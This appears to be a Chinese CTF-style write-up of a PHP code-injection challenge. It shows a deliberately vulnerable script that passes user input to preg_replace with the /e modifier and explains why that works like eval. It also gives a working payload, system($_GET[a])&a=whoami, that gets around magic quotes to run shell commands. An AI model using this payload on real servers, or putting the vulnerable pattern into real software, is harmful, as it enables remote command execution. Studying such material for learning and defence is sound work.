【无标题】

php 复制代码
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

关键的代码如下

php 复制代码
echo preg_replace("/(.*)/e", "\\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。

下面是关于正则表达式的拆解:

. = 匹配单个字符

* = 匹配前面的内容0次或者多次

( ) = 将匹配的内容包裹起来

后面的\\1表示引用第一个括号里面的内容

那么这个代码其实等价于

php 复制代码
echo eval($input);

如果我们直接传递下面的payload,就会出现报错

php 复制代码
?data=system('ls')

原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'

下面是我本地测试的payload,用whoami检测命令是否可行

php 复制代码
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami

成功执行

相关推荐
菩提小狗1 小时前
每日安全情报报告 · 2026-05-03
网络安全·漏洞·cve·安全情报·每日安全
love you joyfully1 小时前
如何随时随地访问你的“进程”?
网络·人工智能·网络安全·远程访问·网络技术
勿忘初心12213 小时前
企业级敏感数据脱敏工具类(Java实现)
网络安全·后端开发·企业级开发·java 工具类·敏感数据脱敏·pipl
Chengbei113 小时前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
liann1194 小时前
3.4_Linux 应急响应排查速查命令表
linux·运维·服务器·安全·网络安全·系统安全
孪生质数-4 小时前
Linux高危漏洞通报Copy Fail - CVE-2026-31431
linux·运维·服务器·ubuntu·网络安全·debian·cve-2026-31431
vortex54 小时前
Villain:新一代轻量级 C2 框架完整使用指南
python·网络安全·kali·c2
汤愈韬5 小时前
Full Cone NAT、行为模式
网络·网络协议·网络安全·security
HackTwoHub6 小时前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入
大方子6 小时前
【PolarCTF】干正则
网络安全·polarctf